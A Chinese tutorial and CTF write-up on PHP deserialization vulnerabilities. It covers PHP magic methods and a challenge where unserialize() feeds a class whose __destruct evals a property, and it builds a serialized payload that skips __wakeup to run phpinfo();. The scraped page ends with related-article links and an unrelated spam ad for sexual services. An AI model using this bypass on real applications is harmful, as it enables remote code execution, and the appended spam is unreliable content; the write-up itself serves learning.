前言

这篇讲反序列化,可能不会很高深,我之前就被反序列化整懵逼了。

直到现在我对反序列化还是不够深入,今天就刚好可以研究研究。

0x01.反序列化漏洞介绍

序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给unserialize()的参数可控时,那么用户就可以注入payload,进行反序列化的时候就可能触发对象中的一些魔术方法。

什么是序列化(serialize)? 对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】。

什么是反序列化(unserialize)? 将字符串转换为状态信息 序列化 <—>反序列化。

PHP中的几个特殊的魔术方法。

1.__construct():当对象创建(new)时会自动调用,但在unserialize()时是不会 自动调用的(构造函数) 2.__destruct():当对象操作执行完毕后自动执行__destruct()函数的代码。

3.__wakeup:unserialize()时自动调用。

还有好多,我就不细讲了,关于其他的魔术方法可以百度百度。

__wakeup() //使用unserialize时触发 
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

0x02.通过demo理解反序列化漏洞

如果不懂,实在不知道,可以狭义的理解。

序列化是编码。

反序列化是解码。

下面的话我仔细解释:

<?php
class test{
   var $test = "MSKJ";
   function __destruct(){
       //echo $this->test;
  }
}
$obj = new test();
$ser = serialize($obj);
echo $ser;
?>

这里就用__destruct演示,后面的实验我会用__wakeup()来演示。

上面这段代码为序列化,可以理解成编码。

O:4:"test":1:{s:4:"test";s:4:"MSKJ";}

接下来就是就是解码(反序列化)。

像这个就可以打xss了,然后貌似基本的讲的差不多了。

这只是我个人理解,帮助大家快速建立一个理解,别说我误人子弟。

0x03. 通过某CTF题目继续潜入了解反序列化漏洞

接下来就开始讲一下某CTF题目,对于反序列化,我一直模棱两可,之前是一直以为是优先级的问题,但是还是不好确定,就先把这个疑问放到一边了(如果哪位兄弟想探讨一下可以公众号私聊一下)。

<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
   var $warn = "No hacker.";
   function __destruct(){
       eval($this->warn);
  }
   function __wakeup(){
       foreach(get_object_vars($this) as $k => $v) {
           $this->$k = null;
      }
  }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

这边可以看出这个类用了两个方法。

1.__destruct: 对象操作执行完毕后自动执行该函数内的代码;

2.__wakeup: 遇到 unserialize 时触发。

这边的 __wakeup 是事件型的,如果没遇到 unserialize 就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。

看到了一篇文章很好:https://mp.weixin.qq.com/s/JzGDyP6RGZ4xCxV4gqM2Sw 可以看看。

<?php
header("Content-type: text/html; charset=utf-8");
class people
{
   public $name = "f1r3K0";
   public $age = '18';
   function __wakeup(){
       echo "这是 __wakeup()";
       echo "<br>";
  }
   function __construct(){
       echo "这是 __consrtuct()";
       echo "<br>";
  }
   function __destruct(){
       echo "这是 __destruct()";
       echo "<br>";
  }
   function __toString(){
       echo "这是 __toString";
       echo "<br>";
  }
}
$class =  new people();
$class_ser = serialize($class);  //序列化
print_r($class_ser);            
$class_unser = unserialize($class_ser); //反序列化
print_r($class_unser);
?>

通过这段代码,可以看出__wakeup()是优先执行的,优先级高于__destruct()

那么再看看上面的ctf题目就懂了,因为遇到了unserialize 得先执行__wakeup里面的内容,才能跑到我们想要的__destruct()里面,所以得绕过这个__wakeup

关于 get_object_vars 是什么可以看看这篇文章:http://blog.sina.com.cn/s/blog_4ce89f200100rhrx.html

其实就是遍历一下非静态的,可能有新手玩家不理解,没事,咱写一份代码就懂了,手工测试(这也是我最常用的方法)。

<?php
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
class object1 {
   var $warn = "No hacker.";
   function __destruct(){
   echo "这是魔术方法__destruct";
   echo "<br> ";
       echo "hello world";
  }
function __wakeup(){
$this->warn = null;
print_r(get_object_vars($this));
echo "<br>";
}
}
$cmd = $_GET[cmd];
unserialize($cmd);
//$b = new convent();
//$c = serialize($b);
//echo $c;
?>

看下输出结果,其实就是把 warn的值变为空,那么就懂了这个__wakeup中的代码是干嘛的了。

就是把 warn的值进行过滤,把它变成空,所以我们不能让__wakeup执行,目标明确,开始淦它~~~

__wakeup是当反序列化成功时,才会调用,那我们让它失败呢?其实只要让它失败,就不会调用这个魔术方法了。

通过修改一下,让这个源码生成一个exp,当然,你也可以自己构造。

O:7:"convent":1:{s:4:"warn";s:10:"No hacker.";}

里面的值是不可以修改的,但是可以修改的属性(变量)数大于实际的个数时,就可以绕过__wakeup

因为我看了好多讲这个绕过的方法,就直接一句修改属性大于实际个数,我是真的fo了,一句话就算原理,看得我都懵逼中........... (遇到这种情况可以手动写份代码fuzz一下)。

O:7:"convent":2:{s:4:"warn";s:10:"No hacker.";}

也就是把1改为其他数字就可以了,也可以改成10。然后把No hacker改为phpinfo();但是要注意修改 前面 s的值,因为phpinfo();也是占了十位,所以不用去改。

O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

成功构造payload了,然后再post传参里面传入。

总结

本篇文章也就是简单的了解下什么是 php反序列化,本篇文章虽然不长,但是讲了反序列化是什么,怎么形成反序列化漏洞。然后多个魔术方法情况下是看哪个先执行。

比如__wakeip是个事件型的,遇到unserialize就会优先调用执行,但是__construct的执行顺序还是优先__wakeup。当然,这只是举个例子,方法还是一样的。

php反序列化漏洞入门的更多相关文章

  1. PHP 反序列化漏洞入门学习笔记

    参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...

  2. Java反序列化漏洞从入门到深入(转载)

    前言 学习本系列文章需要的Java基础: 了解Java基础语法及结构(菜鸟教程) 了解Java面向对象编程思想(快速理解请上知乎读故事,深入钻研建议买本<疯狂Java讲义>另外有一个刘意老 ...

  3. 6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现

    2017 年 9 月 14 日,国家信息安全漏洞共享平台( CNVD )收录了 JBOSS Application Server 反序列化命令执行漏洞( CNVD-2017-33724,对应 CVE- ...

  4. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  5. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. @Autowired,@Resource,@Qualifier,@Primary,@Inject的作用和区别

    @Autowired注解的用法:可以用于构造器,方法,参数,字段进行属性注入,有一个required属性,默认是true,当改成false时,如果注入的属性在容器中不存在也不会报错@Resource该 ...

  2. PageObject课程培训记录

    前言 昨晚的培训课程讲了PO设计模式,对于PO模式我们需要去了解关于为什么要使用PO,而不使用PO是什么情况?什么是PO模式?PO怎么去使用? 第一,为什么要使用PO,而不使用PO是什么情况? 我们先 ...

  3. Spring Cloud系列(二):Eureka应用详解

    一.注册中心 1.注册中心演变过程 2.注册中心必备功能 ① 服务的上线 ② 服务的下线 ③ 服务的剔除 ④ 服务的查询 ⑤ 注册中心HA ⑥ 注册中心节点数据同步 ⑦ 服务信息的存储,比如mysql ...

  4. CentOS 7安装Nginx 1.10.2

    安装epel-release源并进行安装 yum install epel-release yum update(时间会有点长) yum install nginx 相关操作: systemctl s ...

  5. Activity的常用控件

    TimerPick(时间控件)public Integer getCurrentHour() //返回当前设置的小时public Integer getCurrentMinute()//返回当前设置的 ...

  6. 2. 在TCGA中找到并下载意向数据

    听说过别人用生信分析"空手套白狼"的故事吧想做吗好想学哦~ 或多或少都知道GEO和TCGA这些公共数据库吧!那么你知道怎么在数据库上找到意向数据,并且成功下载呢?这第一步要难倒一大 ...

  7. Linux基础入门 vim常用命令详解

    介绍 vim是一个文本编辑程序 没有菜单,只有命令,且命令繁多 命令行模式下相关命令 移动光标 ​ h: ← 左移 ​ l: → 右移 ​ j: ↓ 下移 ​ k: ↑ 上移 ​ gg: 光标移动文件 ...

  8. hasura的golang反向代理

    概述 反向代理代码 对请求的处理 对返回值的处理 遇到的问题 概述 一直在寻找一个好用的 graphql 服务, 之前使用比较多的是 prisma, 但是 prisma1 很久不再维护了, 而 pri ...

  9. 2016年 实验五 Internet与网络工具的使用

    实验五 Internet与网络工具的使用 [实验目的] 本实验目的在于掌握 Telnet.FTP.Email的工作机理,并会在 Internet 上熟练使用相关工具软件. [实验条件] ⑴.个人计算机 ...

  10. 盐城5138.6118(薇)xiaojie:盐城哪里有xiaomei

    盐城哪里有小姐服务大保健[微信:5138.6118倩儿小妹[盐城叫小姐服务√o服务微信:5138.6118倩儿小妹[盐城叫小姐服务][十微信:5138.6118倩儿小妹][盐城叫小姐包夜服务][十微信 ...